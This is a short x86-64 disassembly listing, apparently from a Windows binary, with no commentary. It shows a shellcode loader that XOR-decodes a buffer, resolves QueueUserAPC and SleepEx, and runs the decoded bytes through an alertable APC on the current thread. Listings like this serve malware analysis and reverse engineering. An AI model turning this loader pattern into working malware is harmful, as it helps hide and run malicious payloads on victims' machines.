mov rax, qword [rbp + 0x640]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
cmp dword [rbp + 0x7cc], 0x41
jne 0x140002963
mov dword [rbp + 0x7cc], 0
jmp 0x14000296a
add dword [rbp + 0x7cc], 1
add dword [rbp + 0x7d4], 1
cmp dword [rbp + 0x7d4], 0x4f4
jle 0x140002910
mov rax, qword [rbp + 0x640]
mov qword [rbp + 0x610], rax
mov rax, qword [rbp + 0x7b0]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x608], rax
mov rax, qword [rbp + 0x7b0]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x600], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x610]
mov r9, qword [rbp + 0x608]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x600]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
add rsp, 0x8b8
pop rbx
pop rsi
pop rdi
pop rbp
ret